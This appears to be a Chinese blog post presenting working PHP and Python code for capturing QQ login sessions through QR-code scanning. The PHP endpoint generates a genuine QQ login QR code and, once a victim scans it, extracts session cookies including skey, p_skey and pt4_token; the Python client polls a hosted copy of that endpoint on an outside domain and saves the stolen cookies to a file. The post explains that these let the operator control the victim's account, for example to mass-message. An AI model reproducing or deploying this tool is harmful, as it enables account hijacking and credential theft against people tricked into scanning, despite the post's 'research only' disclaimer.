实现截取QQ二维码扫描登录数据,获取QQskey原理

起因

最近突然对之前发生QQ盗号事件有点兴趣,对其中的原理有点好奇,于是研究了一下。
得出以下的结果,以下代码,仅作研究参考,请勿用于违法用途,否则造成的严重后果自行承担!

代码展示

PHP接口代码
<?php
  error_reporting(0);
  header('content-type:application/json');
    
  function request_http($url, $type=0, $post_data='', $ua='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.58', $cookie='', $header=array(), $redirect=true){
    // 初始化curl
    $curl = curl_init();
    // 设置网址
    curl_setopt($curl,CURLOPT_URL, $url);
    // 设置UA
    if (empty($ua) == false) {
      $header[] = 'User-Agent:'.$ua;
    }
    // 设置Cookie
    if (empty($cookie) == false) {
      $header[] = 'Cookie:'.$cookie;
    }
    // 设置请求头
    if (empty($ua) == false or empty($cookie) == false or empty($header) == false) {
      curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
    }
    // 设置POST数据
    if($type == 1){
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
    }
    // 设置重定向
    if ($redirect == false) {
      curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); 
    }
    // 过SSL验证证书
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
    // 将头部作为数据流输出
    curl_setopt($curl, CURLOPT_HEADER, true);
    // 设置以变量形式存储返回数据
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    // 请求并存储数据
    $return = curl_exec($curl);
    // 分割头部和身体
    if (curl_getinfo($curl, CURLINFO_HTTP_CODE) == '200') {
      $return_header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
        $return_header = substr($return, 0, $return_header_size);
        $return_data = substr($return, $return_header_size);
    }
    // 关闭cURL
    curl_close($curl);
    // 返回数据
    return [$return_header, $return_data];
  }
  
  function return_result($state, $info) {
    $result = array(
      'state'=>$state,
      'info'=>$info
    );
    exit(stripslashes(json_encode($result, JSON_UNESCAPED_UNICODE)));
  }
  
  function get_middle_text($text, $text_left, $text_right) {
    $left = strpos($text, $text_left);
    $right = strpos($text, $text_right, $left);
    if ($left < 0 or $right < $left) {
      return False;
    };
    return substr($text, $left + strlen($text_left), $right - $left - strlen($text_left));
  }
  
  function get_ptqrtoken($qrsig) {
    $len = strlen($qrsig);
    $hash = 0;
    for ($i = 0; $i < $len; $i++) {
        $hash += (($hash << 5) & 2147483647) + ord($qrsig[$i]) & 2147483647;
        $hash &= 2147483647;
    }
    return $hash & 2147483647;
  }
  
  function get_result_data($qrsig){
    $state_data = request_http('https://ssl.ptlogin2.qq.com/ptqrlogin?u1=https://qzs.qzone.qq.com/qzone/v5/loginsucc.html?para=izone&from=iqq&ptqrtoken='.get_ptqrtoken($qrsig).'&ptredirect=1&h=1&t=1&g=1&from_ui=1&ptlang=2052&action=0-0-'.time().'&js_ver=10233&js_type=1&login_sig='.$qrsig.'&pt_uistyle=40&aid=549000912&daid=5', null, null, null, 'qrsig='.$qrsig)[1];
    if (strpos($state_data, '未失效') == true) {
      return '未失效';
    }
    elseif (strpos($state_data, '认证中') == true) {
      return '认证中';
    }
    elseif (strpos($state_data, '登录成功') == true) {
      $ptuicb_url = get_middle_text($state_data, "'0','0','", "','1',");
      $ptuicb_header = request_http($ptuicb_url, null, null, null, null, null, false)[0]; 
      $cookie = 'uin='.get_middle_text($ptuicb_header, 'uin=', ';').';skey='.get_middle_text($ptuicb_header, 'skey=', ';').';p_uin='.get_middle_text($ptuicb_header, 'p_uin=', ';').';p_skey='.get_middle_text($ptuicb_header, 'p_skey=', ';').';pt4_token='.get_middle_text($ptuicb_header, 'pt4_token=', ';');
      return ['已登录', $cookie];
    }
    elseif (strpos($state_data, '已失效') == true) {
      return '已失效';
    }
  }
  
  function get_login_data(){
    $return = request_http('https://ssl.ptlogin2.qq.com/ptqrshow?appid=549000912&e=2&l=M&s=3&d=72&v=4&t='.time().'&daid=5&pt_3rd_aid=0');
    $qrsig = get_middle_text($return[0], 'qrsig=', ';');
    $qr_code = 'data:image/jpeg;base64,'.base64_encode($return[1]);
    return [$qrsig, $qr_code];
  }
  
  $TYPE = $_REQUEST['type'];
  $QRSIG = $_REQUEST['qrsig'];
  if (empty($TYPE) == true or ($TYPE != 'get' and empty($QRSIG) == true)) {
    return_result(100, '参数错误');
  }
  elseif ($TYPE == 'get') {
    $login_data = get_login_data();
    $result = array(
      'qrsig'=>$login_data[0],
      'qr_code'=>$login_data[1]
    );
    return_result(200, $result);
  }
  elseif ($TYPE == 'result') {
    $result_data = get_result_data($QRSIG);
    if (is_string($result_data) == True) {
      $result = $result_data;
    }
    else{
      $result = array(
        'state'=>$result_data[0],
        'cookie'=>$result_data[1]
      );
    }
    return_result(200, $result);
  }
  else{
    return_result(100, '类型错误');
  }
?>
Python调用代码
import requests
import os
import time


class GetSkey(object):
    def __init__(self):
        self.url = "https://ssl.ptlogin2.qq.com/ptqrshow?appid=549000912&e=2&l=M&s=3&d=72&v=4&daid=5&pt_3rd_aid=0"
        self.url2 = "https://www.5131499.xyz/qq.php"
        if not os.path.exists('qr'):
            os.makedirs('qr')
        else:
            pass

    def run(self):
        while True:
            r = requests.get(self.url)
            with open("./qr/qrsig.png", 'wb') as f:
                f.write(r.content)
            qrsig = r.cookies['qrsig']
            print(qrsig)
            while True:
                qj = requests.get(self.url2, params={'type': 'result', 'qrsig': qrsig})
                getskey = qj.json()
                print(getskey['info'])
                if getskey['info'] == '未失效':
                    pass
                elif getskey['info'] == '认证中':
                    pass
                elif getskey['info'] == '已失效':
                    break
                else:
                    with open("./qr/qrsig.txt", 'a', encoding='utf-8') as f:
                        f.write(getskey['info']["cookie"]+'\n')
                    print(getskey['info']["cookie"])
                    break
                time.sleep(3)


if __name__ == "__main__":
    start = GetSkey()
    start.run()

使用

可以把PHP的代码挂到你的网站,然后用python进行调用,python代码根目录下会生成一个qr文件夹。
qr文件夹里面有生成的二维码(python代码会自动判断二维码是否还有效,然后重新生成),只要有人扫描该二维码并登录,文件夹内会生成一个txt文本,里面会记录有QQ的skey等信息,而有了QQ的skey等信息,就可以操控QQ做很多事情了。
比如:群发消息等。
有能力的也可以把PHP转为python代码,我懒得转了。
就这样吧...
最后再提醒一句,代码仅作研究参考,请勿用于违法用途,否则造成的严重后果自行承担!

posted @ 2022-09-08 23:06  蚂蚁追风筝  阅读(1750)  评论(0)    收藏  举报